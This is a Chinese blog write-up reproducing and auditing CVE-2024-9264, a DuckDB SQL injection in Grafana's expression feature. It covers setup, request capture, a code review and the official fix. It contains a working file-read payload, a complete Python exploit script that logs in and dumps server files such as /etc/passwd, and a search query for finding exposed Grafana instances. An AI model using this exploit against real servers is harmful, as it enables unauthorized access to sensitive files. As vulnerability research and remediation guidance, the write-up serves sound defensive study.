Grafana表达式远程代码执行(CVE-2024-9264)


一、Grafana基础

1.1 Grafana是什么?

Grafana是一款开源的数据可视化和监控平台,它允许用户通过创建动态仪表板来监视和分析数据。

以下是Grafana的一些主要特点和功能:

  1. 多数据源支持:Grafana支持多种数据源,包括但不限于Graphite、Prometheus、Elasticsearch、InfluxDB等,可以从多种数据源中收集数据,并在同一仪表板中进行统一展示。
  2. 丰富的可视化选项:提供了各种图表类型、样式和配置选项,用户可以根据需求定制图表。
  3. 告警功能:支持设置警报规则,并在达到特定条件时发送通知。
  4. 插件生态系统:拥有丰富的插件生态系统,用户可以根据需要扩展和定制功能。
  5. 社区支持:拥有活跃的开发社区,提供了丰富的文档、教程和支持资源。
  6. 跨平台性:Grafana是一个跨平台的开源的分析和可视化工具,可以通过将采集的数据查询然后可视化的展示,并及时通知。
  7. 图表与可视化:Grafana具有快速灵活的客户端图表,面板插件有许多不同方式的可视化指标和日志,官方库中具有丰富的仪表盘插件,比如热图、折线图、图表等多种展示方式,让复杂的数据展示的美观而优雅。
  8. 实际应用场景广泛:Grafana广泛应用于IT基础设施监控、业务数据分析与可视化、实时数据仪表板构建等领域。
  9. 版本更新:Grafana 10.0版本在2023年6月发布,带来了许多新功能和改进,如更新的Panel面板、Dashboard、导航栏以及Grafana Altering等。

Grafana以其强大的功能和灵活性,成为了数据可视化和监控领域的重要工具,适用于各种规模的项目和不同的监控需求。

1.2 安装部署(本地部署)

在Ubuntu上安装指定版本的Grafana,你可以按照以下步骤操作:

下面是我所使用的ubuntu系统信息

Ubuntu 22.04.3 LTS
系统信息

1.2.1 更新系统软件包

更新你的Ubuntu系统以确保所有软件包和依赖项是最新的。

sudo apt update
sudo apt upgrade

命令详解:

sudo apt updatesudo apt upgrade 是在基于 Debian 的 Linux 发行版(如 Ubuntu)中使用的命令,它们用于管理和更新系统软件包。下面是这两个命令的详细解释:

sudo apt update

  • sudo:这是一个命令行实用程序,允许授权的用户以另一个用户的安全权限执行命令,默认情况下是以超级用户(root)的权限执行。
  • apt:是“Advanced Package Tool”的缩写,它是 Debian 及其衍生版(如 Ubuntu)的软件包管理工具。
  • update:这是 apt 工具的一个命令,用于从源服务器同步软件包索引文件。这个命令不会更改任何已安装的软件包,它只是更新本地数据库,使其与软件源中的最新软件包信息保持一致。

执行 sudo apt update 时,系统会从每个启用的软件源(在 /etc/apt/sources.list/etc/apt/sources.list.d/ 下的文件中定义)获取最新的软件包列表。这个操作是安装、升级或移除软件包之前的重要步骤,因为它确保了你拥有最新的软件包信息。

sudo apt upgrade

  • upgrade:这是 apt 的另一个命令,用于升级所有可升级的软件包至最新版本。

执行 sudo apt upgrade 时,系统会查找所有已安装的软件包,如果有可用的更新(这些信息是通过 sudo apt update 获得的),则将它们升级到最新版本。这个命令会处理依赖关系,确保在升级过程中所需的依赖项也会被安装或升级。

1.2.2 访问官网

https://grafana.com/grafana/download/11.1.0?pg=get&plcmt=selfmanaged-box1-cta1

grafana官网

【选择特定的版本,CVE-2024-9264被评为9.9的CVSS评分,影响Grafana 11.0.x、11.1.x和11.2.x版本。】

这里我选择的是11.1.0版本的,后续按照官方提示操作即可。

1.2.3 安装grafana

sudo apt-get install -y adduser libfontconfig1 musl
  • bug处理
bug

错误解释:

  • E: Could not get lock /var/lib/dpkg/lock-frontend. It is held by process 27625 (unattended-upgr):这个错误表明 apt-get 无法获取 /var/lib/dpkg/lock-frontend 这个锁文件,因为它正被进程号为 27625 的进程(unattended-upgr,即无人值守升级进程)占用。
  • N: Be aware that removing the lock file is not a solution and may break your system.:这是一个警告,提醒用户不要简单地删除锁文件,因为这可能会破坏系统。
  • E: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), is another process using it?:这个错误再次强调无法获取 dpkg 前端锁,询问是否有其他进程正在使用它。

这个错误通常发生在系统正在进行另一个软件包管理操作,比如另一个 apt-get 命令或者系统更新正在运行。解决这个问题的方法通常是等待当前的软件包管理操作完成,或者如果确定没有其他操作在进行,可以检查是否有僵尸进程占用了锁文件。

如果需要强制终止占用锁文件的进程,可以使用以下命令(请谨慎使用,因为这可能会导致系统不稳定):

sudo kill -9 27625

然后再次尝试运行你的 apt-get 命令。如果你不确定,最好先检查系统是否有正在运行的更新或软件包管理操作。

依赖安装
wget https://dl.grafana.com/enterprise/release/grafana-enterprise_11.1.0_amd64.deb
sudo dpkg -i grafana-enterprise_11.1.0_amd64.deb
  • dpkg:是 Debian 包管理器的命令行工具,用于安装、构建、拆除和检查 Debian 软件包。
  • -i:这是 dpkg 命令的一个选项,代表 --install,用于安装本地的 Debian 软件包。
截屏2024-12-09 13.51.52

1.2.4 启动服务

sudo /bin/systemctl start grafana-server
或
systemctl start grafana-server

1.2.5 查看启动状态

sudo /bin/systemctl status grafana-server
或
systemctl status grafana-server
截屏2024-12-09 13.55.03

1.2.6 访问服务

浏览器输入IP:3000进行登录
默认用户密码:admin/admin

本机测试

【本机测试,访问成功!】

局域网测试

【局域网测试,访问成功!】

第一次登录之后会强制修改密码(毕竟admin/admin太弱了)。

1.3 Docker部署

  • 下面提供另外一种Docker部署的方法供参考:

使用 Grafana 11.0.0 构建环境,安装 duckdb 二进制文件并将其添加到 Grafana 的 $PATH 中。

下载 duckdb_cli-linux-amd64.zip,与 Dockerfile、docker-compose.yml 放置在同一目录。

Dockerfile

FROM grafana/grafana:11.0.0-ubuntu

USER root

# Install DuckDB
COPY duckdb_cli-linux-amd64.zip /tmp/

RUN apt-get update && apt-get install -y && apt-get install unzip -y
    && unzip /tmp/duckdb_cli-linux-amd64.zip -d /usr/local/bin/ \
    && chmod +x /usr/local/bin/duckdb \
    && rm /tmp/duckdb_cli-linux-amd64.zip

# Add DuckDB to the PATH
ENV PATH="/usr/local/bin:${PATH}"

docker-compose.yml

services:
  mysql:
    image: mysql:latest
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=rootpassword
      - MYSQL_DATABASE=grafanadb
      - MYSQL_USER=grafana
      - MYSQL_PASSWORD=grafanapassword
    volumes:
      - ./mysql-data:/var/lib/mysql
    ports:
      - "3306:3306"
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "localhost"]
      interval: 10s
      timeout: 5s
      retries: 3
  
  grafana:
    build: .
    ports:
      - "3000:3000"
    environment:
      - GF_SECURITY_ADMIN_PASSWORD=abc123!
      - GF_DATABASE_TYPE=mysql
      - GF_DATABASE_HOST=mysql:3306
      - GF_DATABASE_USER=grafana
      - GF_DATABASE_PASSWORD=grafanapassword
      - GF_DATABASE_NAME=grafanadb
    volumes:
      - grafana-storage:/var/lib/grafana
      - ./grafana.ini:/etc/grafana/grafana.ini

    depends_on:
        mysql:
         condition: service_healthy  
volumes:
  grafana-storage:
  mysql-storage:

当前目录执行如下命令,启动一个 Grafana 11.0.0 环境:

docker build -t grafana:11.0.0 .
docker-compose up -d

环境启动后,访问 http://your-ip:3000 即可查看到管理后台。由于配置了密码,需要使用 admin/abc123! 登录管理后台。

二、漏洞复现

2.1 漏洞概述

Grafana 的一个实验性 SQL 表达式功能中存在一个 DuckDB SQL 注入漏洞。

任何经过身份验证的用户都可以通过修改 Grafana 仪表板中的表达式执行任意 DuckDB SQL 查询。

什么是DuckDB?

DuckDB是一个轻量级、嵌入式的SQL OLAP数据库管理系统,旨在提供高性能的数据分析。它支持标准SQL,允许在应用程序内部处理数据,无需外部数据库服务器。DuckDB优化了内存使用,通过列存储和数据压缩技术,提高了数据访问速度和查询效率。此外,它还具备跨平台兼容性,支持Windows、Linux和macOS,使得开发者可以在多种操作系统上部署和使用。DuckDB的开源特性也使其易于扩展和定制,满足特定需求。

利用条件:

  1. 有账号密码,可以登陆.

  2. 服务器安装了duckDB.(默认没安装)

  3. 使用有漏洞的版本.

2.2 漏洞位置

漏洞点在仪表盘创建处。这里可以输入表达式,执行一些函数命令。

2.3 抓包分析

在Expression处输入内容test并回车,BP抓到的请求包内容如下:

POST /api/ds/query?ds_type=__expr__&expression=true&requestId=Q102 HTTP/1.1
Host: 192.168.155.31:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.155.31:3000/dashboard/new?orgId=1&editPanel=1
content-type: application/json
x-datasource-uid: grafana
x-grafana-device-id: 619ca89a5f27e3a3f1bd260aead26594
x-grafana-from-expr: true
x-grafana-org-id: 1
x-panel-id: 1
x-panel-plugin-id: timeseries
x-plugin-id: datasource
Content-Length: 350
Origin: http://192.168.155.31:3000
Connection: close
Cookie: grafana_session=86e5a674ff2f29d015081887dbebfa42; grafana_session_expiry=1734931671
Priority: u=4

{"queries":
[{"queryType":"randomWalk","datasource":{"uid":"grafana","type":"datasource"},"refId":"A","datasourceId":-1,"intervalMs":20000,"maxDataPoints":1059},{"refId":"B","datasource":{"type":"__expr__","uid":"__expr__","name":"Expression"},"type":"math","hide":false,"expression":"test\n","window":""}],"from":"1734909521360","to":"1734931121360"}

响应内容:

HTTP/1.1 500 Internal Server Error
Cache-Control: no-store
Content-Type: application/json
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-Xss-Protection: 1; mode=block
Date: Mon, 23 Dec 2024 05:19:14 GMT
Content-Length: 43
Connection: close

{"message":"Query data error","traceID":""}

截屏2024-12-23 13.19.30

2.4 漏洞初步测试

修改expression参数:

"expression":"SELECT * FROM read_blob('/etc/passwd');\n",

报错:

{"message":"Data source not found","traceID":""}

并没有获得预期的/etc/passwd的内容。

尝试其他方法也不行。

"expression": "SELECT * FROM read_csv_auto('/etc/passwd');",

根据提示,缺乏相应的数据源。

2.5 安装DuckDB

需要特别注意⚠️:

  • 该漏洞是真对DuckDB的sql注入,所以利用条件除了安装grafana之外,还需要安装duckDB,后续创建仪表盘的时候选择DuckDB数据源。

  • duckdb 二进制文件必须存在于 Grafana 的 $PATH 中,此攻击才能成功;默认情况下,此二进制文件未安装在 Grafana 发行版中。

2.5.1 下载安装包

wget https://github.com/duckdb/duckdb/releases/download/v0.8.1/duckdb_cli-linux-amd64.zip
unzip duckdb_cli-linux-amd64.zip

截屏2024-12-23 14.23.46

解压之后即可运行。

2.5.2 解压使用

执行./duckdb即可进入数据库。

执行如下命令即可查看本地文件。

SELECT * FROM read_csv_auto('/etc/passwd');

能够查询到本地的敏感文件。

所以如果grafana的表达式如果未经过滤直接交给duckDB执行,就会存在读区敏感文件的风险。

2.5.3 直接安装到/usr/local/bin/ 并设置PATH环境变量

sudo unzip /tmp/duckdb_cli-linux-amd64.zip -d /usr/local/bin/
(base) sxk@sxk-ubuntu22:~/Desktop$ echo $PATH
/home/sxk/anaconda3/bin:/home/sxk/anaconda3/condabin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

/usr/local/bin已经在PATH中了,如果不在需要按照如下方法设置:

通过修改profile文件:
vim /etc/profile
export PATH=/usr/local/bin:$PATH
生效方法:系统重启
有效期限:永久有效
用户局限:对所有用户

2.6 POC测试,成功读取到/etc/passwd的数据

抓包之后,用下面的POC替换POST数据。

{
  "from": "1696154400000",
  "to": "1696345200000",
  "queries": [
    {
      "datasource": {
        "name": "Expression",
        "type": "__expr__",
        "uid": "__expr__"
      },
      "expression": "SELECT * FROM read_csv_auto('/etc/passwd');",
      "hide": false,
      "refId": "B",
      "type": "sql",
      "window": ""
    }
  ]
}

抓包重放,修改expression的内容,成功获取到/etc/passwd敏感数据。

三、代码审计

3.1 获取源代码

https://github.com/grafana/grafana/releases?q=11.1.0&expanded=true

3.2 代码审计

3.2.1 根据API路由定位后端代码

在源代码文件中搜索/api/ds/query,可以看到处理表达式的代码。

截屏2024-12-23 16.12.54

go中的:=

在Go语言中,:= 是一个短变量声明操作符,用于在函数内部声明并初始化局部变量。它结合了变量声明和值赋值的操作。如果变量之前没有被声明过,:= 会声明一个新的变量,并将其初始化为右侧表达式的值。如果变量已经声明过,:= 则只会给该变量赋值。

在Go语言中,定义方法(method)的语法遵循以下规则:

  1. 接收者(Receiver):方法可以有零个或多个接收者。接收者定义了方法是属于哪个类型的。
  2. 方法名:方法名必须以大写字母开头,以便在包外可见(导出)。
  3. 参数列表:参数列表定义了方法接受的参数。
  4. 返回类型:方法可以有零个或多个返回值,包括返回值的类型。
  5. 方法体:方法的实现部分。

3.2.2 handleExpressions函数

handleExpressions函数的具体实现如下:

// handleExpressions handles POST /api/ds/query when there is an expression.
func (s *ServiceImpl) handleExpressions(ctx context.Context, user identity.Requester, parsedReq *parsedRequest) (*backend.QueryDataResponse, error) {
	exprReq := expr.Request{
		Queries: []expr.Query{},
	}

	if user != nil { // for passthrough authentication, SSE does not authenticate
		exprReq.User = user
		exprReq.OrgId = user.GetOrgID()
	}

	for _, pq := range parsedReq.getFlattenedQueries() {
		if pq.datasource == nil {
			return nil, ErrMissingDataSourceInfo.Build(errutil.TemplateData{
				Public: map[string]any{
					"RefId": pq.query.RefID,
				},
			})
		}

		exprReq.Queries = append(exprReq.Queries, expr.Query{
			JSON:          pq.query.JSON,
			Interval:      pq.query.Interval,
			RefID:         pq.query.RefID,
			MaxDataPoints: pq.query.MaxDataPoints,
			QueryType:     pq.query.QueryType,
			DataSource:    pq.datasource,
			TimeRange: expr.AbsoluteTimeRange{
				From: pq.query.TimeRange.From,
				To:   pq.query.TimeRange.To,
			},
		})
	}

	qdr, err := s.expressionService.TransformData(ctx, time.Now(), &exprReq) // use time now because all queries have absolute time range
	if err != nil {
		return nil, fmt.Errorf("expression request error: %w", err)
	}
	return qdr, nil
}

代码分析:

方法签名

func (s *ServiceImpl) handleExpressions(ctx context.Context, user identity.Requester, parsedReq *parsedRequest) (*backend.QueryDataResponse, error)
  • 接收者s *ServiceImpl 表示这个方法是 ServiceImpl 结构体的一个方法,s 是该结构体的指针。
  • 参数:
    • ctx context.Context:用于传递上下文信息,通常用于控制请求的生命周期和处理超时。
    • user identity.Requester:表示请求的用户,通常包含用户的信息和权限。
    • parsedReq *parsedRequest:表示解析后的请求,包含查询的详细信息。
  • 返回值:返回一个指向 backend.QueryDataResponse 的指针和一个 error,表示处理结果和可能的错误。

初始化表达式请求

exprReq := expr.Request{
    Queries: []expr.Query{},
}

创建一个新的表达式请求 exprReq,其中包含一个空的查询列表。

用户信息处理

if user != nil {
    exprReq.User = user
    exprReq.OrgId = user.GetOrgID()
}

如果用户不为 nil,则将用户信息和组织ID添加到 exprReq 中。这通常用于身份验证和授权。

处理解析后的查询

for _, pq := range parsedReq.getFlattenedQueries() {
    if pq.datasource == nil {
        return nil, ErrMissingDataSourceInfo.Build(errutil.TemplateData{
            Public: map[string]any{
                "RefId": pq.query.RefID,
            },
        })
    }

遍历解析后的查询 parsedReq.getFlattenedQueries(),对于每个查询:

  • 检查数据源是否存在。如果数据源为 nil,则返回一个错误,表明缺少数据源信息。

构建查询

exprReq.Queries = append(exprReq.Queries, expr.Query{
    JSON:          pq.query.JSON,
    Interval:      pq.query.Interval,
    RefID:         pq.query.RefID,
    MaxDataPoints: pq.query.MaxDataPoints,
    QueryType:     pq.query.QueryType,
    DataSource:    pq.datasource,
    TimeRange: expr.AbsoluteTimeRange{
        From: pq.query.TimeRange.From,
        To:   pq.query.TimeRange.To,
    },
})

将每个查询的详细信息添加到 exprReq.Queries 中,包括查询的JSON、时间范围、数据源等。

调用表达式服务

qdr, err := s.expressionService.TransformData(ctx, time.Now(), &exprReq)

调用 expressionServiceTransformData 方法,将当前时间和构建的表达式请求传递给它。这个方法会处理查询并返回结果。

错误处理

if err != nil {
    return nil, fmt.Errorf("expression request error: %w", err)
}

如果在调用 TransformData 时发生错误,返回一个格式化的错误信息。

返回结果

return qdr, nil

如果一切正常,返回查询数据响应 qdrnil(表示没有错误)。

总结

这个方法的主要功能是处理表达式查询请求,验证用户信息,构建查询请求,调用服务处理查询,并返回结果或错误。它展示了Go语言中如何处理HTTP请求、上下文管理、错误处理和数据结构的使用。

所以核心代码调用了表达式服务。

s.expressionService.TransformData(ctx, time.Now(), &exprReq)

3.2.3 Execute函数

最终执行sql语句的函数在sql_command.go中

// Execute runs the command and returns the results or an error if the command
// failed to execute.
func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.Vars, tracer tracing.Tracer) (mathexp.Results, error) {
	_, span := tracer.Start(ctx, "SSE.ExecuteSQL")
	defer span.End()

	allFrames := []*data.Frame{}
	for _, ref := range gr.varsToQuery {
		results, ok := vars[ref]
		if !ok {
			logger.Warn("no results found for", "ref", ref)
			continue
		}
		frames := results.Values.AsDataFrames(ref)
		allFrames = append(allFrames, frames...)
	}

	rsp := mathexp.Results{}

	duckDB := duck.NewInMemoryDB()
	var frame = &data.Frame{}

	logger.Debug("Executing query", "query", gr.query, "frames", len(allFrames))
	err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame)
	if err != nil {
		logger.Error("Failed to query frames", "error", err.Error())
		rsp.Error = err
		return rsp, nil
	}
	logger.Debug("Done Executing query", "query", gr.query, "rows", frame.Rows())

	frame.RefID = gr.refID

	if frame.Rows() == 0 {
		rsp.Values = mathexp.Values{
			mathexp.NoData{Frame: frame},
		}
	}

	rsp.Values = mathexp.Values{
		mathexp.TableData{Frame: frame},
	}

	return rsp, nil
}

方法签名

func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.Vars, tracer tracing.Tracer) (mathexp.Results, error)
  • 接收者gr *SQLCommand 表示这个方法是 SQLCommand 结构体的指针方法。
  • 参数:
    • ctx context.Context:用于传递上下文信息,通常用于控制请求的生命周期和处理超时。
    • now time.Time:表示当前时间,可能用于时间相关的查询。
    • vars mathexp.Vars:一个变量映射,可能包含查询中需要的变量值。
    • tracer tracing.Tracer:用于跟踪和记录查询执行的过程。
  • 返回值:返回一个 mathexp.Results 类型的结果和一个 error 类型的错误。

执行SQL查询

duckDB := duck.NewInMemoryDB()
var frame = &data.Frame{}
logger.Debug("Executing query", "query", gr.query, "frames", len(allFrames))
err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame)

创建一个DuckDB的内存数据库实例,准备一个数据帧 frame 来存储查询结果,并记录调试信息。然后执行SQL查询,将结果存储到 frame 中。

构建结果

if frame.Rows() == 0 {
    rsp.Values = mathexp.Values{
        mathexp.NoData{Frame: frame},
    }
}
rsp.Values = mathexp.Values{
    mathexp.TableData{Frame: frame},
}

如果查询结果为空,设置结果的值为 mathexp.NoData;否则,设置结果的值为 mathexp.TableData,包含查询结果的数据帧。

核心代码:

err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame)

QueryFramesInto 方法是 DuckDB Go 绑定提供的一个方法,它允许你执行 SQL 查询并将结果直接插入到一个 data.Frame 中。这个方法结合了 SQL 查询的灵活性和 DataFrame 操作的便捷性,使得数据处理流程更加高效。

以下是 QueryFramesInto 方法的一般使用方式:

函数签名

go

func (db *DB) QueryFramesInto(refID string, query string, inputFrames []*data.Frame, resultFrame *data.Frame) error
  • db *DB: DuckDB 数据库的实例指针。
  • refID string: 查询的引用ID,通常用于日志记录和调试。
  • query string: 要执行的 SQL 查询字符串。
  • inputFrames []*data.Frame: 一个 data.Frame 切片,包含作为查询输入的数据。
  • resultFrame *data.Frame: 一个指向 data.Frame 的指针,用于存储查询结果。

由于没有对SQL查询字符串做过滤限制,导致恶意的SQL语句直接传递到DuckDB执行。

四、完整的POC

#!/usr/bin/env python3

import requests
import json
import sys
import argparse

class Console:
    def log(self, msg):
        print(msg, file=sys.stderr)

console = Console()

def msg_success(msg):
    console.log(f"[SUCCESS] {msg}")

def msg_failure(msg):
    console.log(f"[FAILURE] {msg}")

def failure(msg):
    msg_failure(msg)
    sys.exit(1)

def authenticate(s, url, u, p):
    res = s.post(f"{url}/login", json={"password": p, "user": u})
    if res.json().get("message") == "Logged in":
        msg_success(f"Logged in as {u}:{p}")
    else:
        failure(f"Failed to log in as {u}:{p}")

def run_query(s, url, query):
    query_url = f"{url}/api/ds/query?ds_type=__expr__&expression=true&requestId=1"
    query_payload = {
        "from": "1696154400000",
        "to": "1696345200000",
        "queries": [
            {
                "datasource": {
                    "name": "Expression",
                    "type": "__expr__",
                    "uid": "__expr__"
                },
                "expression": query,
                "hide": False,
                "refId": "B",
                "type": "sql",
                "window": ""
            }
        ]
    }

    res = s.post(query_url, json=query_payload)
    data = res.json()

    # Handle unexpected response
    if "message" in data:
        msg_failure("Unexpected response:")
        msg_failure(json.dumps(data, indent=4))
        return None

    # Extract results
    frames = data.get("results", {}).get("B", {}).get("frames", [])

    if frames:
        values = [
            row
            for frame in frames
            for row in frame["data"]["values"]
        ]
        
        if values:
            msg_success("Successfully ran DuckDB query:")
            return values

    failure("No valid results found.")

def decode_output(values):
    return [":".join(str(i) for i in row if i is not None) for row in values]

def main(url, user="admin", password="admin", file=None):
    s = requests.Session()
    authenticate(s, url, user, password)
    file = file or "/etc/passwd"
    escaped_filename = requests.utils.quote(file)
    query = f"SELECT * FROM read_csv_auto('{escaped_filename}');"
    content = run_query(s, url, query)
    if content:
        msg_success(f"Retrieved file {file}:")
        for line in decode_output(content):
            print(line)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Arbitrary File Read in Grafana via SQL Expression (CVE-2024-9264).")
    parser.add_argument("--url", help="URL of the Grafana instance to exploit")
    parser.add_argument("--user", default="admin", help="Username to log in as, defaults to 'admin'")
    parser.add_argument("--password", default="admin", help="Password used to log in, defaults to 'admin'")
    parser.add_argument("--file", help="File to read on the server, defaults to '/etc/passwd'")


    args = parser.parse_args()
    main(args.url, args.user, args.password, args.file)

五、漏洞测绘

app="Grafana_Labs-公司产品"

六、漏洞修复

6.1 官方漏洞修复

11.4.0(latest)的源代码中对duckDB的功能直接进行了删除。

db := sql.NewInMemoryDB()
var frame = &data.Frame{}

logger.Debug("Executing query", "query", gr.query, "frames", len(allFrames))
err := db.QueryFramesInto(gr.refID, gr.query, allFrames, frame)
11.4.0 11.1.0

11.1.0中的导入模块列表中存在duck

import (
	"context"
	"errors"
	"fmt"
	"time"

	"github.com/grafana/grafana-plugin-sdk-go/data"
	"github.com/scottlepp/go-duck/duck"

	"github.com/grafana/grafana/pkg/expr/mathexp"
	"github.com/grafana/grafana/pkg/expr/sql"
	"github.com/grafana/grafana/pkg/infra/tracing"
	"github.com/grafana/grafana/pkg/util/errutil"
)

11.4.0 的导入模块列表中删除了duckDB

import (
	"context"
	"errors"
	"fmt"
	"time"

	"github.com/grafana/grafana-plugin-sdk-go/data"

	"github.com/grafana/grafana/pkg/apimachinery/errutil"
	"github.com/grafana/grafana/pkg/expr/mathexp"
	"github.com/grafana/grafana/pkg/expr/sql"
	"github.com/grafana/grafana/pkg/infra/tracing"
)

11.4.0删除了sql表达式功能的实现。

11.4.0删除了sql表达式功能的实现

6.2 企业修复建议

1)建议用户立即升级到已打补丁的版本:

  • 11.0.5+security-01 (仅安全修复)
  • 11.1.6+security-01 (仅安全修复)
  • 11.2.1+security-01 (仅安全修复)
  • 11.0.6+security-01 (包含最新功能和安全修复)
  • 11.1.7+security-01 (包含最新功能和安全修复)
  • 11.2.2+security-01 (包括最新功能和安全修复)

2)作为临时缓解措施,可以从系统的 PATH 中移除 DuckDB 二进制文件或完全卸载它。

参考文献


文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录